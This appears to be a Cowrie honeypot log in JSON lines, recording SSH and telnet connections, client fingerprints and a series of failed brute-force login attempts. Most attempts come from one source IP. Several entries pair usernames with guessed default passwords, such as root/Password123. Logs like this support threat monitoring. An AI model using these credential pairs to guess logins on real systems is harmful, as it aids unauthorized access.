{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:27.238955Z","src_ip":"91.92.40.36","session":"28ee2b887bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.5.11","src_port":53447,"dst_ip":"159.203.135.109","dst_port":22,"session":"7707cafa792b","protocol":"ssh","message":"New connection: 45.79.5.11:53447 (159.203.135.109:22) [session: 7707cafa792b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:28.969374Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:28.974432Z","src_ip":"45.79.5.11","session":"7707cafa792b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:28.978775Z","src_ip":"45.79.5.11","session":"7707cafa792b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2026","message":"login attempt [ubuntu/ubuntu2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:29.249060Z","src_ip":"91.92.40.36","session":"28ee2b887bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:31.120910Z","src_ip":"91.92.40.36","session":"28ee2b887bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47322,"dst_ip":"10.17.0.5","dst_port":22,"session":"799e912e04ff","protocol":"ssh","message":"New connection: 91.92.40.36:47322 (10.17.0.5:22) [session: 799e912e04ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:34.116757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:35.448628Z","src_ip":"91.92.40.36","session":"799e912e04ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:35.452293Z","src_ip":"91.92.40.36","session":"799e912e04ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25112,"dst_ip":"10.17.0.5","dst_port":22,"session":"e171ce1048e7","protocol":"ssh","message":"New connection: 91.92.40.36:25112 (10.17.0.5:22) [session: e171ce1048e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:42.508247Z"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:42.998128Z","src_ip":"91.92.40.36","session":"799e912e04ff","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:43.356787Z","src_ip":"91.92.40.36","session":"e171ce1048e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38020,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b60235cf5b5","protocol":"telnet","message":"New connection: 128.199.8.54:38020 (159.203.135.109:23) [session: 2b60235cf5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:43.730669Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:44.298548Z","src_ip":"91.92.40.36","session":"e171ce1048e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:47.287957Z","src_ip":"91.92.40.36","session":"799e912e04ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55382,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c8786e68709","protocol":"ssh","message":"New connection: 91.92.40.36:55382 (10.17.0.5:22) [session: 5c8786e68709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:47.477325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:48.565091Z","src_ip":"91.92.40.36","session":"5c8786e68709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:48.568345Z","src_ip":"91.92.40.36","session":"5c8786e68709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123","message":"login attempt [root/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:52.582558Z","src_ip":"91.92.40.36","session":"5c8786e68709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:54.340360Z","src_ip":"91.92.40.36","session":"5c8786e68709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andreas","password":"andreas","message":"login attempt [andreas/andreas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:55.786744Z","src_ip":"91.92.40.36","session":"e171ce1048e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20064,"dst_ip":"10.17.0.5","dst_port":22,"session":"c822551bb78e","protocol":"ssh","message":"New connection: 91.92.40.36:20064 (10.17.0.5:22) [session: c822551bb78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:57.860638Z"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:58.390174Z","src_ip":"91.92.40.36","session":"e171ce1048e7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:58.726151Z","src_ip":"91.92.40.36","session":"c822551bb78e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:18:59.517501Z","src_ip":"91.92.40.36","session":"c822551bb78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stef","password":"stef","message":"login attempt [stef/stef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:02.827060Z","src_ip":"91.92.40.36","session":"c822551bb78e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20148,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0334edae532","protocol":"ssh","message":"New connection: 91.92.40.36:20148 (10.17.0.5:22) [session: d0334edae532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:04.014333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:04.521766Z","src_ip":"91.92.40.36","session":"d0334edae532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:04.525255Z","src_ip":"91.92.40.36","session":"d0334edae532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:05.417904Z","src_ip":"91.92.40.36","session":"c822551bb78e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin123","message":"login attempt [deploy/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:05.775902Z","src_ip":"91.92.40.36","session":"d0334edae532","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:07.104652Z","src_ip":"91.92.40.36","session":"d0334edae532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49142,"dst_ip":"10.17.0.5","dst_port":22,"session":"6090cc536ca2","protocol":"ssh","message":"New connection: 91.92.40.36:49142 (10.17.0.5:22) [session: 6090cc536ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:11.904806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:12.310418Z","src_ip":"91.92.40.36","session":"6090cc536ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:12.338874Z","src_ip":"91.92.40.36","session":"6090cc536ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:13.663596Z","src_ip":"91.92.40.36","session":"6090cc536ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":55768,"dst_ip":"10.17.0.5","dst_port":22,"session":"76b0e2080623","protocol":"ssh","message":"New connection: 73.36.177.174:55768 (10.17.0.5:22) [session: 76b0e2080623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:14.066565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:14.075291Z","src_ip":"73.36.177.174","session":"76b0e2080623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:14.111024Z","src_ip":"73.36.177.174","session":"76b0e2080623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lt123456","message":"login attempt [root/Lt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:14.321496Z","src_ip":"73.36.177.174","session":"76b0e2080623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:15.287472Z","src_ip":"91.92.40.36","session":"6090cc536ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:15.368609Z","src_ip":"73.36.177.174","session":"76b0e2080623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a9d055bece","protocol":"ssh","message":"New connection: 150.136.214.177:40444 (10.17.0.5:22) [session: 16a9d055bece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:18.964509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:19:18.969634Z","src_ip":"150.136.214.177","session":"16a9d055bece","protocol":"ssh"}
